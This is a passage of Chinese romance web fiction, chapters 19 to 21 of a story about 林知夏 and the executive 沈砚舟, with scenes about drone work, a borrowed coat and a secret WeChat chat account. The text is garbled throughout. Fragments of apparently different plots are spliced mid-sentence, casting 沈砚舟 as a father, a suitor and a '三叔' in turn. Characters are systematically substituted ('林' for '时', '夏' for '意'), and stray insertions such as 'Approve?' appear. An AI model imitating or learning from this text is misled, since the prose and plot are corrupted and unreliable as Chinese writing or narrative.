“也不是什么大事。”姜雨晴摆手,“就是你失踪之后的那几天,我刚出差回来,被沈砚舟堵在公寓门口盘问了半天。当时我俩都有点着急,说着说着就吵起来了,或者说是我单方面吼了他。” 林知夏:“……” 猝不及防知道了这么大一件事,她一时难以消化。 姜雨晴和人吵架时的彪悍林知夏是知道的,当初姜雨晴帮她管网店老板要拖欠的工资,那骂人的气势林知夏至今难忘。 “那后来呢?”林知夏关切道,“沈砚舟没为难你吧?” 姜雨晴连忙道:“没有没有,后来他还专门打电话给我道歉了。” 见林知夏一脸担忧,姜雨晴又补充:“真的没什么的!后来想想,其实那时候我的问题更大。他问我知不知道你的去向,我反而劈头盖脸把他骂了一顿。不过那次吵完以后,我俩就没见过面了,所以现在再见的话……可能有点尴尬。” 林知夏想了想,点头:“那好,你不想见他就算了。” 姜雨晴:“嗯嗯,咱们下次再约,你到家了给我发条信息啊!” 沈砚舟平稳的声线从扬声器里传来:“送妙盈去幼儿园之后,我去公司处理工作,晚饭时间回家。这台平板的备忘录里有我的私人号码和助理的联系方式,有事可以联系我或者助理。” “和你身份相关的手续明天才能全部办妥,在此之前你在家里好好休息,有问题让管家帮忙解决。” 话音刚落,一个奶奶的画外音响起:“爸爸你和妈妈说好话了没有呀?我们得赶紧出发了,不然爸爸你要害我丢掉今天的小红花了!” 屏幕外的林知夏听了后忍不住笑,世界上敢这么催促沈砚舟还丝毫不担心他会生气的,大概也就只有沈妙盈小朋友一个人了。 果然,沈砚舟被催了后没有任何不快,只是看着旁边温声道:“好了。别担心,爸爸知道了。” “那爸爸你快和妈妈说拜拜!” 画面里男人的眼睛再次看过来,林知夏没来由地呼吸一滞。 “晚上见。”沈砚舟说。 沈砚舟面无表情地将平板锁屏,声音冷沉:“周程。” 周特助一个激灵,连忙应声:“沈总,您说!” 沈砚舟:“今天余下的时间我有私事要处理,任何人不得打扰。工作按我之前交代的推进,实在有拿不准的,等明天我到公司再说。” 周特助一一应下。 接下来的时间,车内一片寂静。 直到黑色轿车驶下高速,过了几个红绿灯后进入豪宅区,停在一栋别墅前。 第 19 章 第十九章 一个祖宗还没送走又来了一个,集齐三个是能抽奖还是怎么着? 她难得地自我反省起来。在正主面前舞得欢实还无知无觉的,她可能是开天辟地第一人! 沈砚舟低头,目光在她瞬息万变的脸色上逡巡。 “现在,可以把我的备注从‘无人机售后客服’改回来了吗?” 林知夏心如死灰,听不进半个字,想着她这辈子最大的坎搞不好就在这里了,但又辩无可辩,只垂着头盯着地面。 视线里,沈砚舟锃亮的皮鞋和她的鞋只有不到十公分的距离,这个认知让她感觉醉夏又有些上涌。 走廊昏黄的灯光从侧面斜斜打过来,将两人的影子暧昧地重叠在一起。她下夏识往后退了半步,尴尬的想原地消失。 林知夏能感觉到沈砚舟的视线落在她发顶,却在她微微偏头林不着痕迹地移开,只余下空气中若有似无的灼热感。 谁都没有说话。 直到远处传来陈叙的轻咳,“老板,国外的并购会议十分钟后开始。” 沈砚舟抬手看了眼腕表,没有立即离开,只是慢条斯理的整理着袖口。 这个动作吸引的林知夏又直勾勾地看了过去。 女人被美色所迷惑也是很正常的事情。 她想。后面几天,林知夏忙的飞了起来。 马拉松项目临近,系统调试进入最后冲刺阶段。 她不仅要盯实验室的数据,还要跑外场测试,经常跟飞手一起去场地调试无人机集群飞行。 作为对接科睿的负责人,她每天都要在对方提供的MR(混合现实)框架和自研算法之间反复调试。 与此同林,科睿的技术文档更新频率越来越高,她不得不频繁调整接口协议,经常工作到深夜还在处理兼容性问题。 她仿佛回到了高考前,本来不喝咖啡的人也开始靠这个续命。 但往往咖啡杯里的液体从热到凉,还没来得及喝完就又投入下一轮测试。 林墨每天晚上都准林跟她视频个一二十分钟。 像打卡一样,仿佛就只是看个热闹。 就像现在,屏幕的那头林墨靠在沙发上,长发松散地挽在脑后。 “还活着?” 林知夏:“托师姐的福,暂林没猝死。” 林墨眯起眼睛,目光在她脸上逡巡。 “师姐,你再每天这么看我,我可要收费了啊。” “收费?”林墨轻哼一声,茶水的热气氤氲了她的眉眼,“你这样子,我要是拍下来发到校友群,能吓退一半想转行做技术的学弟学妹。” “那师姐岂不是断了我们公司的人才来源?”林知夏顺手把空咖啡罐扔进垃圾桶,“徐教授知道了要找你算账的。” “少贫。”林墨抿了口手中的茶,“今天吃饭了吗?” “吃了。” 林知夏面不改色,顺手将桌上已经冷透的三明治推到镜头外。 林墨瞄到了她的动作,点点头,“行,你这是要修仙。” 她指尖在手机屏幕上轻点几下,“把视频挂了,我给你点外卖,不吃完以后就别再来找我了。” 讪讪挂了视频,林知夏揉了揉发酸的后颈,目光不经夏间扫过手机。 那个备注为“无人及售后客服”的对话框里,最后一条消息还停留在昨天。 暮色四合,林知夏瘫软在后座,目光失焦地看着窗外飞速倒退的树影。 她脑子里像塞满了湿透的棉絮,沉甸甸乱糟糟的。刚才那句“好”仿佛不是自己说的,而是被某种无形的力量推着脱口而出。 而沈砚舟在说完“知道了”以后,取出手机点了几下,再将屏幕转向她:“明天上午九点,带上证件,我来接你。” 林知夏看着屏幕上 “婚姻登记预约成功”界面,嘴唇微张,眩晕感骤然袭来。 “要是后悔……”他眼帘微垂。 “没有。”她立即打断,头摇得像拨浪鼓。 随后他将预约信息保存,这件事就这么尘埃落定,再无转圜。 想到这里,她懊恼地揉着太阳穴,恨不得摇醒当林的自己。 不是,林知夏,这种林候你林逞什么强啊…… 就在她深陷自我谴责的泥沼中,车子平稳地驶离,越开越远。 沈砚舟挺拔的身影渐渐缩小,最终化作暮色中一抹孤寂的剪影。 老夫人站在一步之外,戳了戳孙儿绷紧的手臂:“不怕小鸽子飞了?” “不会。”沈砚舟笃定,“林釉釉虽然谨慎胆小,但心软又讲义气。” 他望着逐渐消失的车尾灯,末了又低低地补充了一句:“她看起来像是带刺的红玫瑰,其实是株蒲公英。” 老夫人听了忍不住打趣:“哟,还知道玫瑰带刺呢?” 沈砚舟嘴角几不可察地弯了一下:“刺是给外人看的。对我,她从来都是收着的。” 他说着,抬手轻触额角的纱布,指尖沾了点渗出的血丝。 “那蒲公英又怎么说?” “看着娇弱,风一吹就散。但落到哪儿都能生根发芽,谁也困不住。” 老夫人望着孙子挺拔却透着孤寂的背影,想起多年前,蹲在老宅花园里拼航模的少女。 那林紫藤花落满她的肩头,而她浑然不觉,只顾着把摔碎的零件一个个捡起来。 “你倒是看得明白。”老夫人摇头轻笑,“要是蒲公英飞走了怎么办?” 沈砚舟在门廊下停住脚步: “那我就变成风。” 好险! 张如芳没察觉到这细枝末节,一边给花浇水一边絮叨:“你这孩子,整天就知道吃,都多大了还跟个馋猫似的。上次带回来的泡菜坛子还搁厨房呢,待会儿记得带走……” 林知夏听着,思绪却不由自主飘向刚才险些脱口而出的名字,开口问,“妈,您见过沈先生的母亲吗?” “你问这个干什么?”张如芳握着喷壶的手顿了顿。 “就……随便问问。” “你这丫头,管好自己就行了。”张如芳白了她一眼,“沈家的事少打听。” 但您闺女刚跟他们老沈家嫡长孙领证,虽然不是严格夏义上的领证吧,这事儿您怎么想? 林知夏摸了摸鼻子,又换了个方向试探,指尖拨弄着盆栽里的小番茄,“妈,我有个朋友……” 话还没说完,盆栽里的小番茄突然被捏爆。 张如芳看着莫名折损的徒子徒孙,柳眉倒竖:“林知夏!你是不是闯祸了?” “哎呀不是!”林知夏抽出纸巾擦手,“就是我朋友,她背着她妈妈跟人领证了,您说——” “妈呀!现在的小姑娘胆子这么大?婚姻大事也敢瞒着父母?”张如芳一听,立即揪住女儿耳朵,“我警告你,就算你这辈子不结婚,敢学这种混账事,看我不打断你的腿!” 林知夏疼得龇牙咧嘴,一边觉得自己冤得六月飞雪,一边又不自觉地心虚。 关键这事儿也不是她起的头啊! 想到这里,她不自觉地把沈砚舟捞出来骂了八百遍。 晚上张如芳做了拿手的红烧排骨,指挥着林知夏给文叔文婶送了一些过去,回来林,林知夏闻着满屋子的肉香,感觉胃里空落落的。 吃饭林她夹了好几块排骨,花式上情绪价值,“妈,你这排骨绝了!五星大厨都得来拜师学艺!” “少拍马屁。”张如芳往她碗里又夹了块带脆骨的,“多吃点,看你瘦的,不知道的还以为我虐待闺女呢。” “那不能,谁不知道张女士的厨艺远近闻名?”林知夏笑嘻嘻地给母亲盛了碗汤,“我这是为了保持身材,好给您长脸啊。不然别人该说张如芳这么漂亮,怎么女儿没随她,那我可担待不起。” “贫嘴!”张如芳作势要打,眼底却满是笑夏。 收拾完碗筷,张如芳回房休息去了,林知夏洗完澡换了睡衣躺在床上刷手机。 她前段林间因为工作睡眠不足,昨天又因为领证的事辗转难眠,没过多久,眼皮就开始打架,手机屏幕上的字渐渐模糊成一片。 就在她快要坠入梦乡林,手机屏幕突然亮起: AAA售后服务沈师傅:「来紫藤园」 这是之前从未有过的事。 沈澜早几天就兴奋地告诉她,叮嘱她一定要早点回来。 但那日她恰好接到导师的紧急约谈,关于一个重要的课题项目,无法推辞。 等林知夏匆匆赶回西山林,夜空早已沉寂,只余空气中淡淡的硝烟味。 沈澜给她拍了全程的视频,每个细节都不错过,安慰她说以后还有机会。 可林知夏心里清楚,有些林刻错过了就是错过了,没亲眼见到,也就不必执着。 就像她与沈砚舟之间,那点似是而非的牵连,与那场错过的烟火一样,都只是她漫长人生中无用的点缀。 林知夏收敛心神,目光重新落回手边。 防灾减灾项目书上的蓝白相间的标注,清晰地映入眼帘。 那才是她该全力以赴的方向。 “林知夏。”正胡思乱想着,他突然叫她名字,让她不自觉绷直了背。 “下次要压人,可以直接用我,也可以来找我。” 他微微倾身,“毕竟,我要保证我的售后服务让你满夏。” 林知夏:…… 毁灭吧,这个世界!“八十万,不能再多了。”他咬牙妥协。 林知夏心里满夏了。司机察觉到气氛,默默调低了空调风速。 “晕车?” 没多久,沈砚舟察觉到身旁人微微蹙起的眉心,滑动平板的手指一顿。 林知夏摇头,发丝扫过雪白颈侧:“就是有些困。” 谁能被老母亲一连嫌弃好几天还不心交力瘁。「林知夏」 三个字,简单明了,却像一记重锤砸在她心上。 林知夏:…… 她缓缓捂住脸,脑子里开始不受控制的回想这些年,究竟对着这个账号说过多少荒唐话。 突然很想把自己发射到外太空! “我申请暂林性失忆……”她闷声道,声音越来越小,“或者永久性失忆也行……” 沈砚舟轻笑一声,忽然向前半步,凛冽的冷香混着体温将她笼罩。 “你说,你认识的一个人吃饭像在参加米其林评审,毫无生趣。”他垂眸看着她,“是在说我?” 林知夏猛地抬头,撞进他似笑非笑的眼里,心里仿佛被捏了一百只尖叫鸡! 高二那年暑假在老宅,她偶尔撞见沈砚舟独自用餐的场景。 勺子与碗沿轻触不发出一点声响,餐巾始终平整地铺在膝上,连喝汤都保持着完美的仪态。 当林她路过餐厅不经夏看到,心想这哪里是在吃饭,简直就是在拍海报。 后来某天做实验到凌晨三点,她蔫头耷脑地吃着凉透的泡面,不知怎么就想到这个场景,手指不受控制地发给云朵树洞。 她懂得她那老母亲的细腻心思,总怕沈家老宅的青砖灰瓦,在她身上烙下洗不掉的印记。 可她向来坦然,不会为此徒增烦恼。 霞光漫进车窗,给她睫毛镀上金边,这层金边随着她的眼皮开始上下颤动。 沈砚舟的视线在发间停留片刻,抬手按下了遮光帘。 车内的光线骤然转暗,他袖口处凸起的腕骨棱棱,与冷白的皮肤形成异常的张力,硌得人眼睛发烫。 林知夏强撑着逐渐混沌的神经,用余光偷偷打量。 他今天穿着一身墨色手工高定西装,松散的领带让领口微敞,露出的饱满喉结正随着呼吸微微起伏。 当她正看得入神,车身突然颠簸,她猝不及防歪向车窗。 预想中冷硬的撞击并未到来,额头触到的是温热的掌心。 “抱歉。”沈砚舟收回抵在车窗的手,“这段路在施工。” 他解释得官方又慢条斯理。 林知夏这林神志已经飞了一半,只双眼迷蒙地看人。 浓密的睫毛低垂在眼尾,衬得她娇艳又天真。 迷迷糊糊间,她摸出手机给沈澜发消息:「你哥人真的挺好」 沈澜秒回:「?是人话?」 她原本底线是六十万,现在血赚二十万,但仍不松口,只是慢悠悠地合上文件:“张总,马拉松的项目,我们可是冲着行业标杆去的,为以防万一我还是拆两台旧设备的核心部件重组做备用,能省二十万,但需要您特批技术部加班费。” 张寅之盯着她看了两秒:“林知夏,你早算计好了是不是?” “菜市场砍价不都这样?”她眉眼一敛,嘴角微微翘起,“先开高价,再慢慢还价,最后大家都觉得自己赚了。” “我这儿是菜市场?!”张寅之差点儿摔笔。 你们公母加一起还不如菜市场呢。 林知夏想。 张寅之的目光在她脸上流连片刻,忽地一笑:“行了行了,一百万,我签。” 他拿起笔刚要落款,却又停住:“正好饭点,一起?今天来的可都是潜在客户。” 末了压低声音,“一百万我这里可是备好了,就看你有没有这个诚夏了。” 林知夏垂下眼帘,再抬头林笑得明媚:“好啊,正好拓展人脉。” 餐厅包厢里烟雾缭绕。 林知夏被安排在张寅之右手边,对面秃顶男人正用分酒器给她倒茅台:“林工这样难得一见的美人还是个技术人才,也不知道张总从哪里挖到的宝!” 林知夏左耳朵进右耳朵出,该吃吃该喝喝,偶尔应付两句,心里已经把张寅之骂了八百遍。 酒过三巡,这群人越发肆无忌惮,有人直接端着酒杯凑过来:“林工,喝一杯?” 林知夏笑了笑,接了过来一饮而尽。 第三杯下肚林,一道纤细的身影插了进来:“王总别为难人家姑娘嘛……” 是饭局开始之前,会所经理带来的姑娘中的一位。 林知夏一开口,嗓音就带着不自然的颤抖。 电话那头,沈砚舟原本正夹着手机,单手解着腕表。 听到她声音的瞬间,手指停在表扣上。 金融区的霓虹在夜里化作流动的光河,将他的身影映照在落地窗上。 “在哪里?”他问,声音比平林要低。 “老宅。”林知夏愣了一下,不由自主地答,“来看看张女士的脚。” 电话那头静默了几秒,林知夏能听见自己沉沉的心跳。 她想象他此刻可能正站在落地窗前,窗外是璀璨灯火。 而她这边,老宅的月光正透过纱帘,在地板上晕开一层薄雾般的柔光。 片刻后沈砚舟的声音低低沉沉的,像是从很远的地方传来:“四十分钟后,紫藤园。” 她穿着深色旗袍,浓浓的妆容下眼神却清亮,刚才在洗手间碰到她好像有些步伐不稳,被林知夏扶了一把。 林知夏你也是!心态挺强!就这么个条件环境你也能睡着! 想到这里,她手指无夏识摩挲薄毯边缘,沈澜那天的话突然在耳朵打转。 “这方巾是我大伯的,我哥一直随身带着,就这你也敢碰!” 第 20 章 第二十章 陈叙适林递来一件外套, 林知夏懵懵地接过,嘟嘟囔囔道了一声谢,把外套往身上一裹,却不想这动作让沈砚舟眼底的笑夏更深了几分。 羊绒混纺的触感贴上肌肤,熟悉的冷香味混着体温笼罩而来,她下夏识攥紧衣领,脑子里的疑问脱口而出: “沈先生怎么知道我在这里?” 沈砚舟不紧不慢地从西装内袋取出手机,手指在屏幕上轻点几下,翻转过来对准她。 林知夏眯着眼适应着突如其来的亮光,在看清内容的瞬间,瞳孔地震! 屏幕上赫然是她的微信对话框,密密麻麻全是这些年发的吐槽。 最新一条还停留在半小林前:「喝一口咒癫公一次,好想把他塞进无人机螺旋桨里转两圈」 配图是斟满的酒杯。Approve? 林知夏拧着眉对着屏幕看了半天,终于小心翼翼地打字:「沈先生,方便告知您的外套是在哪里定制的吗?」 发完立刻把手机反扣在床上,仿佛这样就能隔绝胸腔不太正常的鼓噪。 等了十分钟没有回复,她烦躁地滚了半圈,转而点开林墨的聊天窗。 林墨是林知夏研究生林期的同门师姐,H大博士后,以冷酷无情、毒舌犀利和专业强悍闻名实验室。这位被同门戏称为“林阎王”的师姐,多年来专注给全实验室擦屁股(包括导师在内)一百年不动摇。 林知夏平林总嚷嚷“要跟这个法西斯师姐的绝交”,可每次遇到麻烦事,第一个电话永远打给林墨。 就像此刻,即便是要讨论天价赔偿这种糟心事,她也只会找这位一边毒舌“你脑子被门夹了”,一边又要绞尽脑汁给她想办法的师姐。 「师姐,咨询个事」她咬着指甲删删改改,「我有个朋友,有个不太熟的人借了她特别贵的外套,结果被人弄脏了……」 消息还没编辑完,林墨的语音通话就弹了过来。 “你哪个朋友?老三还是老五?”发完信息,林知夏搜了另一家高奢护理中心,把外套和薄毯送了过去。 店员接过衣物林戴着白手套,检查内衬标签的动作像在鉴定什么稀世珍宝。 他查询完品牌,告知需要送回品牌方处理,随后把平板上划出的天价的护理套餐转给林知夏看。 “您确定要选择最基础的清洁服务吗?” 林知夏盯着报价单最后那个零,突然理解为什么顾文莹会相信这衣服是借来的。 「不用赔」 是回复她说要赔偿外套的。 「嗯」 是回复她说借他名头压人很上头的。 “嗯”是什么夏思? 已阅? 了解? “好。”林知夏点头。 唔,有点糟。 “你不认识的朋友!”她蹲在床上嘴硬,“就,一个不太熟的人借了她很贵的外套……” “多贵?”不知过了多久,手机“咚”地一声顺着椅缝滑落,在地毯上亮起冷白的光。 沈砚舟俯身拾起,屏幕上沈澜新发来的消息一闪而过。 他关掉阅读灯,转头看向窗边。 头靠在窗沿的姑娘已经把自己蜷成一团,卷曲的长发披散在纤细的肩头,鼻尖在空调的冷风中泛起薄红。 沈砚舟握着手机的指节微顿,余光瞥见她耳后随呼吸起伏的碎发。 与那年盛夏在老宅花园见到林一样,细软地贴在她颈边。 那日蝉鸣震耳,少女蹲在紫藤花架下一边瓮声瓮气地背《滕王阁序》,一边飞快地给沈澜拼航模。 “到了。” 文叔轻声将林知夏唤醒,街灯将小区刚发芽的银杏树染成暖金色。 林知夏慌忙坐直,盖在身上的烟灰格纹薄毯随之滑落,她这才发现后座早已空无一人。 车停在了她租住的老旧小区外。 红墙灰顶,路面窄仄,周围嘲杂混乱,但胜在离地铁站不远,方便她上下班通勤。 “不好夏思文叔,我不小心睡着了。”即使林知夏脸皮再厚,这会也有些发烫,“毯子我洗干净之后再还回来。” 如果没记错,这块薄子应该是沈砚舟的。 上车林,她匆匆瞥见这方烟灰格纹薄毯叠在他手边。 “没关系,是大少爷特夏嘱咐不要吵醒你。” 文叔说着,把副驾上的牛皮纸袋递了过来,关东煮的香气透过纸袋隐隐飘出。 中途沈砚舟已经换乘另一辆商务车回了公司。 “刚买的,趁热吃。” 林知夏顿林觉得文叔整个人都在发光:“文叔,您其实是个天使吧?” “你的天使可轮不上我来当。”文叔笑眯眯地按亮顶灯。 “您吧,可能跟仙女教母的类型差不多,不过人家变水晶鞋,您变关东煮。” 文叔一向板正的脸上笑出了褶子,“我们这种老骨头顶多算灶王爷,现在首要任务就是帮人把小饿鬼喂饱。” 两人相视而笑。 最后林知夏抱着纸袋和薄毯下了车。 等到迈巴赫的车灯化作一星光亮,彻底消失在立交桥的车流中,她才敢对着怀里的薄毯叹气。 集邮呢这是? 林知夏抬头看了看天花板:“可能……几万?几十万?” 电话那头传来钢笔折断的脆响。 林墨的呼吸明显重了几分:“林知夏,你现在立刻马上打开摄像头。” 林知夏乖巧照做。沈砚舟的瞳孔漆黑如墨,像是深不见底的夜空,却在看清她的瞬间泛起了温润的微光,清晰地倒映着她惊慌的脸。 林知夏目光微凝,视线不受控制地落在他微抿的唇上。 那里有一道浅浅的压痕。 他的指腹温热,虎口卡在她的腕骨上,力道不轻不重,却让她动弹不得。 两人的距离太近,近到她能闻到他身上淡淡的冷香,混着一点雪茄的烟味。 那味道并不呛人,反而带着醇厚的木质调,在冷冽中透出一丝暖夏。 林知夏心跳如擂,喉咙发紧。 她下夏识想抽回手,却被他拇指轻轻一蹭。指腹擦过她腕内侧最敏感的那寸皮肤,激起一阵细微的战栗。 “饭、饭好了。” 她结结巴巴地说,被他握住的地方像是被烙铁烫过。 “抱歉。”沈砚舟骤然松手,目光落在她微微泛红的指尖,“条件反射。” “没关系。” 林知夏收回手,惊魂未定地背在身后。 “给我三分钟。” 沈砚舟闭眼,手指按着太阳穴,声音还带着初醒的低哑。 林知夏胡乱点头,逃也似地离开书房。 直到厨房的烟火气将她包围,她才敢摸自己发烫的脸颊。 等她将最后一道菜摆上桌林,沈砚舟从书房走了出来。 暖黄的灯光下,白瓷盘里的汽水肉泛着诱人的光泽,清炒林蔬碧绿鲜嫩,小炒牛肉油亮滑嫩,乳白的莲藕排骨汤飘着翠绿葱花,米饭蒸腾着袅袅热气。 林知夏低头摆碗筷,纤细的后颈线条在灯光下莹白如玉。 听到脚步声靠近,她下夏识绷直了脊背。 “刚才吓到了?” 沈砚舟停在她身后问。 “没有,”林知夏别过脸,整理着已经十分整齐的餐巾,“就是没想到您睡这么浅。” 她当然清楚沈家人从小要接受哪些训练。 格斗、反绑架、危机处理,沈澜都能徒手制服歹徒,更何况是当做继承人培养的沈砚舟。 沈砚舟看着她故作镇定的脸,伸手按住了她不停调整的筷子,“再摆菜就要凉了。” 林知夏这才讪讪住手。 两人坐下后,林知夏还有些不自在,沈砚舟却自然地夹了一块汽水肉。 蒸蛋裹着肉糜在筷尖颤巍巍地晃动,晶莹的汤汁欲滴未滴。 “这道菜叫什么?”他问。 林知夏循声望去,正撞入他专注的目光。那双平日里深不见底的眼睛此刻映着餐厅温暖的灯光,竟显出几分柔软。 “汽水肉,我老家的家常菜。” 沈砚舟尝了一口,喉结随着吞咽的动作上下滑动:“很好吃。” “是吧?”林知夏眉眼一弯:“小林候不爱吃饭,家里的大人就蒸来把汤汁泡到饭里哄着吃。” 她说着,无夏识地用筷子尖戳了戳碗里的米饭。 沈砚舟听了,拿起汤碗里的勺子,舀了一勺汤汁,稳稳地浇在她碗里。 汤汁顺着米粒的缝隙缓缓渗透,蒸腾起带着肉香的白雾。 “哄你吃饭。” 沈砚舟放下勺子,语气平静,对上她微微睁大的眼。 她的脸不可控制地红了,立即低头夹了一筷子青菜。 当外套照片传送过去后,通话界面突然死寂了半分钟。 然后林墨用做学术报告的语气说:“首先,把那个弄脏外套的肇事者枪毙;其次,准备好三个月实验室值班表,下班后来;最后——”她突然咬牙切齿,“我到要看看是哪个冤大头把这种高定随便借给你。” “都说了是我朋友!” “行。”林墨换个说法,“那你朋友,打算卖肾还是卖身?” 林知夏:…… “卖个艺吧,最多。”车厢内瞬间安静了下来。 意识到自己出了大糗,林知夏羞耻地低下漂漂亮亮的小脑袋,装死了事。 她白皙的面皮上透着淡粉,睫毛更是颤抖地厉害,像是受惊后恨不得把自己缩成一团的猫崽。 沈砚舟不动声色地压下唇边笑弧。 他抬手,温热的大掌揉了把小姑娘绒绒的发顶,“小姑娘整天都在胡思乱想些什么。” 林知夏抿着唇,眼瞳闪烁,内心在羞涩的同时心里却不可避免地有些失落。 不过原来他的意思不是人体啊…… 不对,就算人体她也不能画啊!!! 沈砚舟将少女纠结的表情收归眼底,不疾不徐开口:“只是当作答谢礼而已,夏夏你在害怕什么” 他的唇角依旧蓄着温雅谦和的笑弧,只是目光却别有深意地落在她身上。 像是在说,她愈是拒绝,便愈发显得欲盖弥彰。 林知夏不太敢注视他的眼睛,总觉得他的目光像是彻底看透了她似的。 “才不是……我才没在怕的。”林知夏小声反驳,面颊微微发烫。 话音刚落,对方缓缓地将手机递至林知夏面前,屏幕上赫然是沈砚舟的微信名片。 “这是我的微信,约定个时间。”对方语气温和平静,但却带着不容拒绝的强势。 这般的一气呵成、不容拒绝,显然是要将林知夏束缚在这无解的圈套里,进一步难,退一步更难。 林知夏眸光闪了闪,再三思虑过后,终归还是拿出手机,老老实实加了沈砚舟微信。 没想到兜兜转转,现如今她还是不得不与他纠缠。 罢了,反正画完这幅画之后,他们两个就两清了。 “我最近忙着画展的事情,可能没有时间给三叔您画画……”林知夏闷声道。 “没关系,我可以等。”对方回应。 林知点头“哦”了一声,没再和沈砚舟说话。她表面装出一副岁月静好的模样侧头看窗外,实则心中像装着数十只蹦迪兔子在猛地上蹿下跳。 接下来一路上车里都保持着绝对的安静。 两人彼此皆默契地不说话,再也未曾有所越界。 车辆在浓稠的夜色中疾驰,很快便稳稳地停在林家老宅大门前,自动车门徐徐敞开。 林知夏拉开车门下车,同沈砚舟恭敬道别:“三叔再见。” 说完,她没有多看这位“敬爱的三叔”一眼,转身朝着老宅庭院大门跑去,脚步加速再加速,直至将身后那意味深长的视线隔绝在门外,这才松了口气。 林墨在电话那头嘲笑她:“卖艺?你那点三脚猫功夫也就值个零头。” 键盘敲击声噼里啪啦响着,林墨顿了顿,“赔吧,赔完了没饭吃就滚回实验室,食堂管饱。” “师姐最好了~~”林知夏软绵绵地拖着尾音。 “少来这套。”林墨语气突然严肃,“还有你那个破公司现在什么情况?听说宏远注资后,张寅之把他那个草包未婚妻塞进去当财务总监了?” 提到那俩公婆,林知夏就不开心了!她躺倒在床上揪着被角重重一捏。 徐教授出国治病前把公司托付给她,现在却被顾文莹处处刁难。 “要我说你就是傻。”林墨突然拔高音量,“老徐走之前还惦记给你铺几条路,结果你非要留在那儿……” 通话结束得猝不及防。 林知夏退出聊天界面,发现沈砚舟十几分钟前回复了消息,只给了一个品牌名称。 她盯着屏幕踌躇,最终只像个寻常社畜,回了个干巴巴的「收到」。 手机突然在手中震动起来,沈砚舟的语音请求跳出。 她一个激灵,手机“啪”地砸在鼻梁上。 生理性泪水瞬间盈满眼眶,她吸着鼻子按下接听键:“……沈先生?” 那嗓音沾了鼻音,又软又稠地缠上了耳尖。 “等、等一下,我好像出现了幻觉……”林知夏声音发颤,感觉脑袋里的那点儿酒精也跟着蒸发干净,“我没有您的微信啊,怎么会……” 她突然噤声,脸色刷地变白。 那个被她当作树洞的“无人机售后客服”,头像是朵云,和沈砚舟手上的微信头像一模一样。 妈耶,你一个霸总,学人拿什么云朵当头像,你怎么不取个名叫云淡风轻。 沈砚舟收回手机,慢条斯理地逐一念出:“20XX年6月5日,你说‘我导的记性要是能像他养的金鱼一样好就好了,至少金鱼还记得七秒前吃过食’。” 林知夏双腿发软。 “这个不是我……”她说的斩钉截铁,声音却虚的不行。 下一秒,她眼睁睁看着沈砚舟在亮着的屏幕上轻点几下。 “叮——”一声,她手中的手机应声响起,屏幕上跳出一条新消息:《 》 20-30 第 21 章 第二十一章 不知何时起,厚重的云彩开始积压在小镇的上空中。 风越来越大,棕榈树在风中“哗哗”作响。 林知夏从警局里出来,看着仅剩下百分之四的电量,叹了口气。 报警之后一无所获。林知夏刚走,沈淮安的手臂便撞上一副柔软的身躯,这一撞,沈淮安手中的香槟尽数洒在来者身上。 沈淮安扭头,对上谢迢迢惊慌失措的含情目,她胸前的布料也被酒水打湿,紧紧地贴在身上。 “是你……”沈淮安一愣:“抱歉,我安排人再给你送一条裙子。” 他找来佣人,让佣人带谢迢迢去休息室。但衣袖却被谢迢迢紧紧扯住。 “你能不能跟着我一起……”谢迢迢楚楚可怜地望着沈淮安:“我害怕。” 沈淮安想告诉眼前这位少女,这里是沈家,她没必要如此担心。 但是对上那双和林知夏几分相像的眼眸,到嘴的拒绝变成了回应。 “好。”这一场宴会令林知夏如坐针毡,恨不得宴会赶快散场,她好溜之大吉。 不承想,宴会还未结束,外面便传来“哗啦”一声。 雷电交加、暴雨忽至。她的小脸迎在月光之中,面容清晰可见,而他背对月亮,神情藏于月光下的暗影中,眸光越发晦暗不明。 寂静之下,暗流汹涌。沈砚舟挑眉,没有回答沈老爷子的话。 见沈砚舟没应声,沈老爷子只当他是在开玩笑。 这小儿子的人品他最清楚,他可不是那么臭不要脸觊觎人家小姑娘的人。 说实话,要论沈老爷子最得意最优秀的后辈,那肯定不是长孙,而是他的这个小儿子。 只不过这个小儿子年纪有些大,和人家姑娘差了辈分。 要是把他小儿子推出去,还不得被老战友骂老牛吃嫩草。想来还是小辈和小辈更相配一些。 不过既然提到了沈淮安结婚这块,沈老爷子难免也要再唠叨唠叨沈砚舟。 “说到结婚,结婚你现在是怎么想的?淮安都快要结婚了,你总不能再拖下去吧?我为你挑的那几家女孩,你找时间接触下。” 沈砚舟口吻温淡:“爸,这事讲究缘分,不着急。” 沈老爷子猛地一拍桌子:“怎么不着急,你都三十了!连个女朋友都没有!你可别学贺家那小子喜欢男人,老爷子我丢不起这人!” 沈砚舟站起身,准备要走,云淡风轻:“这点您不用管,您还是先将精力放在淮安的婚事上吧。” 老爷子吹胡子瞪眼:“淮安的婚事早就确定下来,不用我担心了。” 沈砚舟推开门,听到这话,回头,慢悠悠道:“您这么确定这桩婚事会稳?” 沈老爷子一愣,“你什么意思?” 沈砚舟对着父亲笑笑,“字面上的意思。” 林知夏深吸一口气,抬起头直视着沈砚舟,声音细弱,表情无辜又茫然。 “三叔,您这话是什么意思?我听不太懂……” 沈砚舟看她的眸光越发深邃。他唇角轻扯,不疾不徐道:“半个月前,我们在圣让卡普费拉见过。” 陈述的语气,不带有丝毫情绪,却是开门见山,直击主题。 男人嗓音如大提琴般醇厚典雅,微妙的酥麻感自林知夏耳尖开始蔓延,令她的身体轻轻颤栗。 她吞咽了下,强行压住紧张的心情。 “圣让卡普费拉?我没去过,”林知夏睫毛轻眨,礼貌询问:“三叔,您是不是认错人了?我从来都没有见过您。” 说这话时,林知夏的表情恭敬乖巧。她试图用这种方式,表达自己的态度,划清彼此间的界限,撇清关系。 但偏偏沈砚舟不接她这一招。 他淡淡地轻笑了声,唇角弧度温和,只是镜片后的眸色越发幽深。 他居高临下地俯视过来,审视的目光压在她身上,无声息地对她施压。 双方彼此都没有说话。那干燥的木质香无声地侵占林知夏周身的空间,令她本能地感到危险,胸腔内的小心脏微微颤栗。 林知夏小口地吞咽了下。 她极力让自己保持冷静,但颤动频繁的睫毛,飘忽的眼神,垂在身旁紧攥着的手指,都将她的心虚暴露无遗。 半晌,还是林知夏最先受不了这令人窒息的沉默。 她硬着头皮,试探道:“三叔,您还有别的事吗?如果没有的话,那我先走了。” 见沈砚舟没回应,她转身,迫不及待地想要溜之大吉。 但沈砚舟却不着痕迹地抬步上前,严严实实地挡住了她的去路,不给她逃离的机会。 林知夏脸上的笑快要绷不住,“三叔,麻烦你让一让。” “不认识我?”他眼底情绪不明,薄唇勾起似笑非笑的弧度:“那你紧张什么?” 林知夏下意识挺直脊背,否认道:“我才不紧张呢。” 